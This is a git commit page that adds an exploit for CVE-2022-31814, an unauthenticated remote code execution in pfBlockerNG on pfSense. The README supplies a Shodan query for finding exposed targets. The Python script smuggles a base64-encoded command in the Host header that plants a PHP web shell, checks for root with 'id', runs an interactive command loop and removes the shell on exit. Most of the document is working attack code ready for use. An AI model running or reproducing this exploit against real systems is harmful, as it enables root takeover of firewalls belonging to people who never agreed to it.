add pfBlockerNG 2.1.4_26-RCE
This commit is contained in:
parent
5aa8b8a863
commit
966b0f5a52
6
CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/README.md
Normal file
6
CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/README.md
Normal file
@ -0,0 +1,6 @@
|
||||
|
||||
### CVE
|
||||
CVE-2022-31814
|
||||
|
||||
### Shodan 语法
|
||||
`https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22`
|
63
CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/exp.py
Normal file
63
CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/exp.py
Normal file
@ -0,0 +1,63 @@
|
||||
# !/usr/bin/env python3
|
||||
import argparse
|
||||
import requests
|
||||
import time
|
||||
import sys
|
||||
import urllib.parse
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
|
||||
parser.add_argument('--url', action='store', dest='url', required=True,
|
||||
help="Full URL and port e.g.: https://192.168.1.111:443/")
|
||||
args = parser.parse_args()
|
||||
|
||||
url = args.url
|
||||
shell_filename = "system_advanced_control.php"
|
||||
|
||||
|
||||
def check_endpoint(url):
|
||||
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
|
||||
if response.status_code == 200:
|
||||
print("[+] pfBlockerNG is installed")
|
||||
else:
|
||||
print("\n[-] pfBlockerNG not installed")
|
||||
sys.exit()
|
||||
|
||||
|
||||
def upload_shell(url, shell_filename):
|
||||
payload = {
|
||||
"Host": "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
|
||||
print("[/] Uploading shell...")
|
||||
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
|
||||
time.sleep(2)
|
||||
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
|
||||
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
|
||||
print("[+] Upload succeeded")
|
||||
else:
|
||||
print("\n[-] Error uploading shell. Probably patched ", response.content)
|
||||
sys.exit()
|
||||
|
||||
|
||||
def interactive_shell(url, shell_filename, cmd):
|
||||
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')),
|
||||
verify=False)
|
||||
print(str(response.text) + "\n")
|
||||
|
||||
|
||||
def delete_shell(url, shell_filename):
|
||||
delcmd = "rm /usr/local/www/system_advanced_control.php"
|
||||
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')),
|
||||
verify=False)
|
||||
print("\n[+] Shell deleted")
|
||||
|
||||
|
||||
check_endpoint(url)
|
||||
upload_shell(url, shell_filename)
|
||||
try:
|
||||
while True:
|
||||
cmd = input("# ")
|
||||
interactive_shell(url, shell_filename, cmd)
|
||||
except:
|
||||
delete_shell(url, shell_filename)
|
Loading…
x
Reference in New Issue
Block a user